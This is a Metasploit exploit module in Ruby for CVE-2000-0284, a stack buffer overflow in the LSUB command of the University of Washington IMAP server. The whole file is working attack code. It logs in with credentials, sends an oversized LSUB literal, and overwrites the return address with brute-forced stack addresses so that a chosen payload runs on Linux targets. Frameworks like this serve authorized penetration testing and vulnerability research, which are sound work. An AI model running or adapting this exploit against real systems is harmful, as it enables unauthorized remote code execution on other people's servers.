##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Brute
  include Msf::Exploit::Remote::Imap

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'UoW IMAP Server LSUB Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in the 'LSUB'
          command of the University of Washington IMAP service.
          This vulnerability can only be exploited with a valid username
          and password.
        },
        'Author' => [ 'aushack', 'jduck' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2000-0284' ],
          [ 'OSVDB', '12037' ],
          [ 'BID', '1110' ],
          [ 'EDB', '284' ]
        ],
        'Privileged' => false,
        'Payload' => {
          'Space' => 964,
          'BadChars' => "\x00\x0a\x0d\x2f",
          'StackAdjustment' => -3500
        },
        'Platform' => 'linux',
        'Targets' => [
          # ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
          [
            'Linux Bruteforce',
            {
              'Platform' => 'linux',
              'Offset' => 1064,
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xbffffdfc },
                  'Stop' => { 'Ret' => 0xbfa00000 },
                  'Step' => 200
                }
            },
          ]
        ],
        'DisclosureDate' => '2000-04-16',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SERVICE_RESTARTS],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [UNRELIABLE_SESSION]
        }
      )
    )
  end

  def check
    connect
    disconnect

    if banner =~ /IMAP4rev1 v12\.264/
      return CheckCode::Appears('IMAP4rev1 v12.264')
    end

    CheckCode::Safe
  end

  def brute_exploit(addresses)
    print_status('Trying 0x%.8x ...' % addresses['Ret'])

    fail_with(Failure::NoAccess, 'Unable to log in!') unless connect_login

    req = "a002 LSUB \"\" {%d}\r\n" % target['Offset']
    sock.put(req)
    sock.get_once

    sploit = payload.encoded + rand_text_alphanumeric(64) + [addresses['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"
    sock.put(sploit)

    handler
    disconnect
  end
end